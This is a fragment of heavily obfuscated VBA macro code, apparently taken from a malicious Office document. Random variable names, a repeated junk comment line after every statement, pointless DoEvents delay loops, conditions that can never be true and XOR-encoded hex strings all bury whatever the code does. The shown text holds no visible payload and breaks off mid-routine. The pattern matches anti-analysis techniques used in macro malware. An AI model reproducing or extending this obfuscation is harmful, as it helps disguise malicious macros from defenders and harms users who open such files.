- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next ilOjdGwp
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- AZClcOoy = 9
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Do While AZClcOoy < 98
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim aqKOOiwa As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For aqKOOiwa = 0 To 8
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next aqKOOiwa
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents: AZClcOoy = AZClcOoy + 1
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim sWPdEECi As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For sWPdEECi = 0 To 7
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next sWPdEECi
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Loop
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim kfTTpTiR As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For kfTTpTiR = 0 To 8
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next kfTTpTiR
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Set RNNVUWVLESY = Nothing
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- If 813875 = 813875 + 1 Then End
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- If 8543 < 81 Then
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim lARGpllG As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim eCNqowmF As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For eCNqowmF = 0 To 5
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next eCNqowmF
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- lARGpllG = 7
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Do While lARGpllG < 87
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim sXRHtlwy As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For sXRHtlwy = 0 To 4
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next sXRHtlwy
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents: lARGpllG = lARGpllG + 1
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim pqfrwebA As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For pqfrwebA = 0 To 1
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next pqfrwebA
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Loop
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim unCkIuYW As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For unCkIuYW = 0 To 9
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next unCkIuYW
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- MsgBox (XORI(Hextostring("24243119183F2F185654"), Hextostring("6F674554")))
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- End If
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- If Len(XORI(Hextostring("06270025363B06215E775C58"), Hextostring("776568426569"))) = Len(XORI(Hextostring("03001A1E0B181101"), Hextostring("7463704F4F"))) Then
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim RfsdIxHn As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim VAjNmWcB As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For VAjNmWcB = 0 To 5
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next VAjNmWcB
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- RfsdIxHn = 9
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Do While RfsdIxHn < 43
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim imlWPWPx As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For imlWPWPx = 0 To 6
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next imlWPWPx
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents: RfsdIxHn = RfsdIxHn + 1
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim KgKLxLju As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For KgKLxLju = 0 To 7
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next KgKLxLju
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Loop
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim AolHysaG As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For AolHysaG = 0 To 4
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next AolHysaG
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- MsgBox (XORI(Hextostring("3C391C280B6B4F6658"), Hextostring("794B6E47")))
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- End If
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim WhazPzFh As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim wLgyaeWJ As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For wLgyaeWJ = 0 To 3
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next wLgyaeWJ
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- WhazPzFh = 3
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Do While WhazPzFh < 74
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim tDFivucW As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For tDFivucW = 0 To 9
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next tDFivucW
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents: WhazPzFh = WhazPzFh + 1
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim RLHVoERl As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For RLHVoERl = 0 To 8
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next RLHVoERl
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Loop
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim MVjWXZHy As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For MVjWXZHy = 0 To 4
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next MVjWXZHy
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- End Function
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Sub BDMLBVTBLGM()
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- If 537311 = 537311 + 1 Then End
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- If 2359 < 47 Then
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim ZniZRiiW As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim RSckpaIQ As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For RSckpaIQ = 0 To 1
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next RSckpaIQ
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- ZniZRiiW = 9
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Do While ZniZRiiW < 69
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim OoCwwNUa As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For OoCwwNUa = 0 To 9
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next OoCwwNUa
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents: ZniZRiiW = ZniZRiiW + 1
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim SCXTjVKq As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For SCXTjVKq = 0 To 6
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next SCXTjVKq
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Loop
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim PsYLRzBR As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For PsYLRzBR = 0 To 5
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next PsYLRzBR
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- MsgBox (XORI(Hextostring("3A00182123130B02795B"), Hextostring("4A634263")))
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- End If
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- If Len(XORI(Hextostring("1E32070A3F37062550495B70"), Hextostring("687A6A46"))) = Len(XORI(Hextostring("2434291B182C220F"), Hextostring("4146434E"))) Then
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim ARKSieRt As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim xOtMyRXz As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For xOtMyRXz = 0 To 9
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next xOtMyRXz
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- ARKSieRt = 9
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Do While ARKSieRt < 98
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim jlrBJvyX As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For jlrBJvyX = 0 To 8
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next jlrBJvyX
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents: ARKSieRt = ARKSieRt + 1
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim jleeATzh As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For jleeATzh = 0 To 2
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next jleeATzh
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
